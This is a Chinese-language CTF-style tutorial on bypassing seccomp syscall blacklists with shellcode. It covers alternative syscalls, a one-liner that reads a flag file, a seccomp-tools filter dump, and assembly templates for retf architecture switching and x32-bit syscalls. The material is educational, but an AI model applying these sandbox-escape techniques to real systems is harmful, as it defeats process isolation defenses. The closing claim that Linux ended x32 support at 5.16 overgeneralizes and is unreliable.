0%

shellcode之浅谈突破沙箱规则

由于沙箱规则比较多,规则制定比较自由,所以下文重点探讨绕过的技术。

使用_at/v/2_系统调用

这里分别指的是几个系统调用的后缀和前缀,比如:

  • 使用execveat代替execve,拿到shell后,使用shell内置命令读取flag: echo *; read FLAG < /flag;echo $FLAG,否则使用子shell执行命令还是会被沙箱杀死。同样的,使用openat代替open
  • 使用readv/writev代替read/write
  • 使用mmap2代替mmap
  • 还有一些特殊的系统调用,使用sendfile,代替read/write。这类的系统调用需要平时多关注、收集和整理。

随便找一个seccomp-tools解析的沙箱规则:

$ seccomp-tools dump ./pwn
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x05 0x00 0x0000003b if (A == execve) goto 0010
0005: 0x15 0x04 0x00 0x00000142 if (A == execveat) goto 0010
0006: 0x15 0x03 0x00 0x00000039 if (A == fork) goto 0010
0007: 0x15 0x02 0x00 0x00000038 if (A == clone) goto 0010
0008: 0x15 0x01 0x00 0x0000000f if (A == rt_sigreturn) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

这个沙箱规则判断了当前触发系统调用的时候,arch是否为x64,如果不是64就会kill;然后,判断了sys-number是否大于等于0x40000000,如果大于,程序也会被kill;然后设置了黑名单,分别是:execve/execveat/fork/clone/rt_sigreturn。处于黑名单的系统调用会被kill掉,其他系统调用则会放行。

切换指令模式

如果没有0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010这一句的检查,那么可以使用retf(return far)指令实现架构切换,或者在x64环境下直接调用int 0x80陷入到内核态。

retf相当于pop ip; pop cscs是段寄存器,寄存器为0x23时表示32位运行模式,0x33表示64位运行模式。

64位切换到32位的模板如下:

xor esp, esp
mov rsp, 0x400100
mov eax, 0x23 ; cs
mov [rsp+4], eax
mov eax, 0x400800 ; ip
mov [rsp], eax
retf

使用**0x40000000+X**系统调用

如果没有限制:0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010的话,那么可以使用0x40000000 + X来执行系统调用。

#define __X32_SYSCALL_BIT	0x40000000UL

关于x32 ABI可查看x32 ABI - Wikipedia

比如要执行read

xor eax, eax
add eax, 0x40000000
xor edi, edi
mov rsi, rsp
mov edx, 0x300
syscall

需要注意的是,从5.16开始,linux内核不支持x32 abi了:Bug #1994516 “Kernels after 5.16 cannot execute x32-ABI binaries…” : Bugs : linux package : Ubuntu (launchpad.net)